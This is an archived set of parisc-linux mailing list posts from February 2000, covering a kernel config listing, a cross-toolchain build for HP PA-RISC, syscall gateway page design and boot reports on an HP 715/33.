# CONFIG_RTC is not set

#
# Video For Linux
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_DRM is not set
# CONFIG_DRM_TDFX is not set
# CONFIG_AGP is not set

#
# Filesystems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_BFS_FS_WRITE is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Kernel hacking
#

--=-=-=


-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/

--=-=-=--


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Note about consoles - Clarification
Date: 15 Feb 2000 00:44:20 +0100
Organization: mkp.net
Lines: 15
Approved: news@gmane.org
Message-ID: <yq1ael39wob.fsf@leyland.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618770 30403 80.91.229.3 (22 Nov 2014 01:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:50 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: mkp@socsci.auc.dk  Mon Feb 14 17:44:02 2000
Original-Received: from bentley.socsci.auc.dk (bentley.socsci.auc.dk [130.225.60.48])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA03981
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 17:44:01 -0700
Original-Received: from leyland.socsci.auc.dk ([130.225.60.69])
	by bentley.socsci.auc.dk with esmtp (Exim 3.11 #3)
	id 12KV8l-0001xm-00; Tue, 15 Feb 2000 00:42:51 +0100
Original-Received: (from mkp@localhost)
	by leyland.socsci.auc.dk (8.9.3+Sun/8.9.1) id AAA11489;
	Tue, 15 Feb 2000 00:44:21 +0100 (MET)
Original-Sender: mkp@socsci.auc.dk
Original-Lines: 14
User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) XEmacs/21.1 (Bryce Canyon)
Xref: news.gmane.org gmane.linux.ports.parisc:6828


Philipp pointed out I didn't make this clear in my previous mail:

IODC console isn't going away.  It just has extremely limited
usability (No cursor positioning etc).  However, IODC is - and will
continue to be - useful for bootstrapping.

The only currently known-to-work interactive console is the LASI
serial one.  Hence my previous statement about that being the only
option for getting to a prompt for the time being.

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new binutils/gcc
Date: Mon, 14 Feb 2000 23:02:26 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20000214230226.P9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618770 30408 80.91.229.3 (22 Nov 2014 01:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Feb 14 22:01:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA05714
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 22:01:51 -0700
Original-Received: (qmail 31936 invoked by uid 15267); 15 Feb 2000 04:02:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31917 invoked from network); 15 Feb 2000 04:02:27 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 04:02:27 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA15540
	for parisc-linux@thepuffingroup.com; Mon, 14 Feb 2000 23:02:26 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6829


As some of you may have noticed, we now have new binutils and gcc in CVS.
If you previously checked out binutils and/or egcs, you should probably
delete them and get a fresh checkout.  Thanks to Cygnus, this is the
ELF-supporting toolchain.  Thanks to Sammy, this includes sufficient
support for 32-bit ELF to link a kernel.  I've asked him to hold off for
a few days on checking in the kernel changes until everyone has the new
toolchain installed and we have depots/rpms/debs/whatever available.

If you're too impatient or want to hack the toolchain, here's my experience
with it so far on HPUX 11:

install GNU flex.  ld won't build with hpux lex, alas.
install GNU bison.  gcc doesn't even attempt to use yacc.

cvs co binutils
mkdir binutils-build
cd binutils-build
./binutils/configure --target=hppa1.1-linux --prefix=/home/willy/gcc \
	--host=hppa-hpux --disable-nls
make
make install

PATH=/home/willy/gcc/bin:$PATH

cvs co gcc
mkdir gcc-build
cd gcc-build
./gcc/configure --target=hppa1.1-linux --prefix=/home/willy/gcc \
	--host=hppa1.1-hpux --disable-nls
make

and then it dies while making libgcc2.a.  I'll look at it more tomorrow,
but this may save some people some time.


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] updated web site
Date: Mon, 14 Feb 2000 23:22:16 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20000214232216.S9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618770 30412 80.91.229.3 (22 Nov 2014 01:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Feb 14 22:21:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA06222
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 22:21:44 -0700
Original-Received: (qmail 7317 invoked by uid 15267); 15 Feb 2000 04:22:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7307 invoked from network); 15 Feb 2000 04:22:16 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 04:22:16 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA15651
	for parisc-linux@thepuffingroup.com; Mon, 14 Feb 2000 23:22:16 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6830


I've updated the website: http://www.thepuffingroup.com/parisc/
Please let me know of any inaccuracies.  Of particular note is the
status page which has an up-to-date jobs list.  Anything which doesn't
have someone's name next to it is an unclaimed project.  Mail me to
volunteer (or to suggest other projects that I've missed).

We have a randomised-config-builder running here and I get the results.
Almost all of the configurations don't build :-)  If we set up a list
that the results were mailed to, would anyone be interested in subscribing
to it and fixing some of the breakages?  It's quite high-traffic; about
30k every hour -- depending how far the build gets before failing.


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Mon, 14 Feb 2000 22:36:39 -0700 (MST)
Lines: 85
Approved: news@gmane.org
Message-ID: <200002150536.WAA04580@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618771 30413 80.91.229.3 (22 Nov 2014 01:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Feb 14 23:36:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA06608
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 23:36:09 -0700
Original-Received: (qmail 1876 invoked by uid 15267); 15 Feb 2000 05:36:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1869 invoked from network); 15 Feb 2000 05:36:45 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 05:36:45 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id WAA07083
	for <parisc-linux@thepuffingroup.com>; Mon, 14 Feb 2000 22:36:40 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id WAA04580 for parisc-linux@thepuffingroup.com; Mon, 14 Feb 2000 22:36:39 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6831

> I don't think reserving 0xFXXX XXXX for I/O in userspace is a good idea.
> There is no problem with doing userspace I/O using the normal mmap /dev/mem
> approach.  (Except maybe HPUX compatibility, which doesn't concern linux-
> only processes).

...

> kernel memcpy() shouldn't ever be called with either an IO or a user address

I was referring to user space memcpy, not kernel memcpy.  The HP-UX user
space memcpy supports use with IO mapped addresses, however it has to
differentiate those addresses in order to not do optimizations that won't
work with IO mapped addresses. Having a dedicated range allows for an
easy test. But perhaps if this is not desirable we can just say that
Linux glibc memcpy is not supported for IO mapped addresses (assuming it
is optimized).

> > One disadvantage of this proposal is that we could not support the
> > System V personality null pointer dereference behaviour. This maps
> > a page of zero's at location 0 so that null pointer dereferences will
> > return 0 for buggy software. Do we really still need to maintain this
> > ancient hack?
>
> No, we don't.  We're talking about PER_LINUX binaries here, and those
> never expected to be able to dereference NULL pointers.

I don't know much about PER_SVR4, and why it exists.  Willy pointed it
out to me.  I can see from the kernel source that perhaps it is only there
for sparc.  If it is not necessary for parisc-linux to support then
there is no issue. If it is necessary then I guess I assumed that PER_SVR4
binaries would use the same gateway page as PER_LINUX binaries.

> Of course every page in the region 0xfffc0000 - 0x3f fffc (it's a 17-bit
> signed immediate shifted left 2 bits, so that should be -2^18 - 2^18-4)
> can be used, so we just need a page within the first 256 KB.
 
This is true for user space. For kernel space, I don't think we can
use anything in F space, unless we map the real IO addresses somewhere
else in virtual space. I'm not sure what assumptions are being made
right now regarding that mapping in the drivers.

I was also thinking that we may want to eventually map physical addresses
directly (with no offset) to virtual addresses, in order to support the
maximum amount of physical memory. But Perhaps we can have a 16 Mb offset
instead.

> a variety of reasons why it might not be available long term) the
> > sequence could be shortened to:
> >
> >       mtsp %r0,%sr0
> >       ble  <gateway offset>(%sr0,%r0)
> >       ldi <syscall #>,%r20
>
> In fact, what's wrong with shortening _this_ sequence to
>
>       ble <gateway offset)(%sr2, %r0)
>       ldi <syscall #>,%r20
>
> and teaching userspace to not modify sr2 ?

I like this idea.  The only disadvantage is that if the user modifies sr2
by mistake, all of a sudden all of the syscalls stop working (for that
process only).  It might be hard to debug.  But, as long as we make sure
that gcc never touches sr2, there should be almost no legitimate reason to
play with space registers in the user address space for Linux processes,
since we are going to have sr4=sr5=sr6=sr7.  In fact, gcc should be
modified to stop using $$dyncall for indirect function pointer calls.  So,
a C programmer will never run into this problem by mistake.  Only people
doing assembly language programming could run into the error.

Now, I am assuming we would set sr2 to 0 and locate the gateway page in
the kernel address space if we chose this proposal.  But this idea has the
flexibility of allowing us to move the gateway page into another space
completely if we ever need to (would require modifications to the tlb miss
handler).  It also has the interesting feature that a programmer could set
sr2 to point into the user address space, and if we choose an offset for
the gateway page in the kernel address space and make that offset also
available for mmap in the user address space, the user could place there
own page at the gateway offset in user space and intercept all syscalls
(there are other ways of doing this, but I just thought it was
interesting).

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Tue, 15 Feb 2000 01:15:11 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20000215011511.U9944@thepuffingroup.com>
References: <200002150536.WAA04580@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618771 30419 80.91.229.3 (22 Nov 2014 01:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: willy@thepuffingroup.com  Tue Feb 15 00:16:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA07114
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 00:16:07 -0700
Original-Received: (qmail 15421 invoked by uid 15267); 15 Feb 2000 06:16:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15396 invoked from network); 15 Feb 2000 06:16:43 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 06:16:43 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id BAA15794;
	Tue, 15 Feb 2000 01:15:11 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200002150536.WAA04580@udlkern.fc.hp.com>; from John Marvin on Mon, Feb 14, 2000 at 10:36:39PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6832

On Mon, Feb 14, 2000 at 10:36:39PM -0700, John Marvin wrote:
> > No, we don't.  We're talking about PER_LINUX binaries here, and those
> > never expected to be able to dereference NULL pointers.
> 
> I don't know much about PER_SVR4, and why it exists.  Willy pointed it
> out to me.  I can see from the kernel source that perhaps it is only there
> for sparc.  If it is not necessary for parisc-linux to support then
> there is no issue. If it is necessary then I guess I assumed that PER_SVR4
> binaries would use the same gateway page as PER_LINUX binaries.

Linux has a personality() syscall which tells the kernel what operating
system this binary was compiled for.  PER_SVR4 means that this binary
was compiled for SVR4.  We _may_ want to include a PER_HPUX at some
point, but i'm not convinced we need it yet.  I pointed you at that bit
of code to show you that for some binaries Linux did that nasty hack,
rather than to advocate we do it too.


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new binutils/gcc
Date: Tue, 15 Feb 2000 03:09:46 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20000215030946.V9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618772 30420 80.91.229.3 (22 Nov 2014 01:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Feb 15 02:09:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA07969
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 02:09:10 -0700
Original-Received: (qmail 17688 invoked by uid 15267); 15 Feb 2000 08:09:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17681 invoked from network); 15 Feb 2000 08:09:47 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 08:09:47 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id DAA16101
	for parisc-linux@thepuffingroup.com; Tue, 15 Feb 2000 03:09:46 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6833


ok, I couldn't wait till tomorrow..

You'll need an include directory.  You can either do it the way I did
(pick them out of glibc, one at a time), or you can get a tarball of
the fruits of my labour:

ftp://puffin.external.hp.com/pub/parisc/src/include.tar.gz

Plop this into your $prefix after installing binutils.  ie this was the
contents of /home/willy/gcc/include.  Now you need to persuade gcc to look
there for it (I thought it was supposed to do that automatically, but it seems
not).  Change line 370 of gcc-build/gcc/Makefile to read:

LIBGCC2_INCLUDES = -I/home/willy/gcc/include

and then type make.  Now I get to :

Testing libgcc1.  Ignore linker warning messages.
/home/willy/cvs/gcc-build/gcc/xgcc -B/home/willy/cvs/gcc-build/gcc/ \
	-B/home/willy/gcc/hppa1.1-linux/bin/ \
	-I/home/willy/gcc/hppa1.1-linux/include -DCROSS_COMPILE -DIN_GCC \
	-DMULTIBYTE_CHARS=1   -g -O2  -I./include  libgcc1-test.o \
	-o libgcc1-test \
  -nostartfiles -nostdlib `/home/willy/cvs/gcc-build/gcc/xgcc \
	-B/home/willy/cvs/gcc-build/gcc/ -B/home/willy/gcc/hppa1.1-linux/bin/ \
	-I/home/willy/gcc/hppa1.1-linux/include --print-libgcc-file-name`
/home/willy/gcc/hppa1.1-linux/bin/ld: can not size stub section: Bad value
libgcc1-test.o: In function `main_without__main':
/home/willy/cvs/gcc-build/gcc/../../gcc/gcc/libgcc1-test.c:20: undefined reference to `$$divI'
/home/willy/cvs/gcc-build/gcc/../../gcc/gcc/libgcc1-test.c:14: undefined reference to `$global$'
death: $$divI type 1
collect2: ld returned 1 exit status
make[1]: *** [libgcc1-test] Error 1

(wrapped for better mailer handling)

And with that I really am going to bed.  g'night.


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Tue, 15 Feb 2000 13:50:45 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <20000215135043.N765@abacus.local>
References: <200002150536.WAA04580@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618772 30425 80.91.229.3 (22 Nov 2014 01:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: prumpf@inwestnet.de  Tue Feb 15 06:51:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA09754
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 06:51:29 -0700
Original-Received: (qmail 23891 invoked by uid 15267); 15 Feb 2000 12:51:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23884 invoked from network); 15 Feb 2000 12:51:50 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 12:51:50 -0000
Original-Received: (qmail 7973 invoked from network); 15 Feb 2000 12:51:46 -0000
Original-Received: from port0108.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.108)
  by mail.ginko.net with SMTP; 15 Feb 2000 12:51:46 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id NAA17864;
	Tue, 15 Feb 2000 13:51:46 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002150536.WAA04580@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Feb 14, 2000 at 10:36:39PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6834

> > kernel memcpy() shouldn't ever be called with either an IO or a user address
> 
> I was referring to user space memcpy, not kernel memcpy.  The HP-UX user
> space memcpy supports use with IO mapped addresses, however it has to
> differentiate those addresses in order to not do optimizations that won't
> work with IO mapped addresses. Having a dedicated range allows for an
> easy test. But perhaps if this is not desirable we can just say that
> Linux glibc memcpy is not supported for IO mapped addresses (assuming it
> is optimized).

This sounds to me like a typical case of doing a static optimization (is
this a memcpy() to I/O space, from I/O space, to and from I/O space) at
runtime.

> > > One disadvantage of this proposal is that we could not support the
> > > System V personality null pointer dereference behaviour. This maps
> > > a page of zero's at location 0 so that null pointer dereferences will
> > > return 0 for buggy software. Do we really still need to maintain this
> > > ancient hack?
> >
> > No, we don't.  We're talking about PER_LINUX binaries here, and those
> > never expected to be able to dereference NULL pointers.
> 
> I don't know much about PER_SVR4, and why it exists.  Willy pointed it
> out to me.  I can see from the kernel source that perhaps it is only there
> for sparc.  If it is not necessary for parisc-linux to support then
> there is no issue. If it is necessary then I guess I assumed that PER_SVR4
> binaries would use the same gateway page as PER_LINUX binaries.
> 
> > Of course every page in the region 0xfffc0000 - 0x3f fffc (it's a 17-bit
> > signed immediate shifted left 2 bits, so that should be -2^18 - 2^18-4)
> > can be used, so we just need a page within the first 256 KB.
>  
> This is true for user space. For kernel space, I don't think we can
> use anything in F space, unless we map the real IO addresses somewhere
> else in virtual space.

That's what I meant by "within the first 256 KB". ble <offset>(srX, r0)
gives us the range 0xfffc0000 - 0x3 fffc, we can't use 0xfffc0000 - 0xfffffff,
so we're limited to the first 256 KB.

> I'm not sure what assumptions are being made
> right now regarding that mapping in the drivers.

Mapping the I/O space to 0xf000 0000 - 0xffff ffff would make sense, IMO, and
shouldn't be a problem with our drivers.

> I was also thinking that we may want to eventually map physical addresses
> directly (with no offset) to virtual addresses, in order to support the
> maximum amount of physical memory.

We agreed upon doing this eventually, didn't we ?

> But Perhaps we can have a 16 Mb offset instead.

I think not mapping the first 64 KB and making a copy of page 0 somewhere
else would make sense.  Then we could use the first 64 KB of the virtual
address space to implement gateway pages.

> > a variety of reasons why it might not be available long term) the
> > > sequence could be shortened to:
> > >
> > >       mtsp %r0,%sr0
> > >       ble  <gateway offset>(%sr0,%r0)
> > >       ldi <syscall #>,%r20
> >
> > In fact, what's wrong with shortening _this_ sequence to
> >
> >       ble <gateway offset)(%sr2, %r0)
> >       ldi <syscall #>,%r20
> >
> > and teaching userspace to not modify sr2 ?
> 
> I like this idea.  The only disadvantage is that if the user modifies sr2
> by mistake, all of a sudden all of the syscalls stop working (for that
> process only).

I don't see a real problem with that.  Modifying SR2 requires either direct
modification (the only code I could see doing that is HP/UX code, which isn't
supposed to execute with PER_LINUX anytime soon) or executing random bytes,
which will always break in unexpected ways.

> It might be hard to debug.  But, as long as we make sure that gcc never
> touches sr2, there should be almost no legitimate reason to
> play with space registers in the user address space for Linux processes,
> since we are going to have sr4=sr5=sr6=sr7.  In fact, gcc should be
> modified to stop using $$dyncall for indirect function pointer calls.  So,

There is an option for that.  Something along the lines of "fast function
calls" (I'll have a look lateron).

> Now, I am assuming we would set sr2 to 0 and locate the gateway page in
> the kernel address space if we chose this proposal.  But this idea has the
> flexibility of allowing us to move the gateway page into another space
> completely if we ever need to (would require modifications to the tlb miss
> handler).  It also has the interesting feature that a programmer could set
> sr2 to point into the user address space, and if we choose an offset for
> the gateway page in the kernel address space and make that offset also
> available for mmap in the user address space, the user could place there
> own page at the gateway offset in user space and intercept all syscalls
> (there are other ways of doing this, but I just thought it was
> interesting).

I agree this would be another point in favour of using 0:0 or 0:0x1000 as
default gateway page.

	Philipp


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State Of The Port [2000/02/13]
Date: Tue, 15 Feb 2000 07:59:44 -0800 (PST)
Lines: 84
Approved: news@gmane.org
Message-ID: <20000215155944.21589.qmail@web505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618772 30432 80.91.229.3 (22 Nov 2014 01:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Tue Feb 15 09:59:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11070
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 09:59:09 -0700
Original-Received: (qmail 1426 invoked by uid 15267); 15 Feb 2000 15:59:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1410 invoked from network); 15 Feb 2000 15:59:46 -0000
Original-Received: from web505.mail.yahoo.com (128.11.68.72)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 15:59:46 -0000
Original-Received: (qmail 21590 invoked by uid 60001); 15 Feb 2000 15:59:44 -0000
Original-Received: from [149.234.12.1] by web505.mail.yahoo.com; Tue, 15 Feb 2000 07:59:44 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6835

--- willy@thepuffingroup.com wrote:
> On Mon, Feb 14, 2000 at 08:56:20AM -0800, Ulrich
> Strelow wrote:
> > Compiling and booting the latest (20000213) cvs
> > version on my 715/33 is partly successful. It ends
> > with the RAMDISK loaded message because after this
> the
> > kernel is switching to a serial console which does
> not
> > (yet) exist.
> 
> Yup, sounds right.
> 
> > It seems that CONFIG_GSC_PS2 is needed to include
> > these routines (although the 715/33 does not have
> a
> > GSC or PS2). But after defining CONFIG_GSC_PS2=y
> the
> > kernel boot ends with the attempt to kill the init
> > task. And the are two "kernel BUG" messages again,
> > this time in block_dev.c:411!
> 
> The block_dev kernel BUG messages aren't really a
> problem.  We get
> them on every architecture; it's a `feature' of
> initrd not yet being
> completely fixed.  I agree the HIL driver needs some
> work.  I've put it
> on the joblist :-) [The joblist is about to be
> published in the website
> update I'm putting together right this minute]
> 
> > So everything has improved compared to the state
> > before the 2.3.42 merge, where even a
> defconfig-kernel
> > ended with lots of kernel BUG messages on my
> 715/33.
> 
> Yay!
> 
> > I have attached the complete boot log of this
> test.
> > Has anyone an idea what's going wrong?
> > 
> > Also: the HIL-driver is still not working. If I
> > include it I get lots of kernel BUG messages in
